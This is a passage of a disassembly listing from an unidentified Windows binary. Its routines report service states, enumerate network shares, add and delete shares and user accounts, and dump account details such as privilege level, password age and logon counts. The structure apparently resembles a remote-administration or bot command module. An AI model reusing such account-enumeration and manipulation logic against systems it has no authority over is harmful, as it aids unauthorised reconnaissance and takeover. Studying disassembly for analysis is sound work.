		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


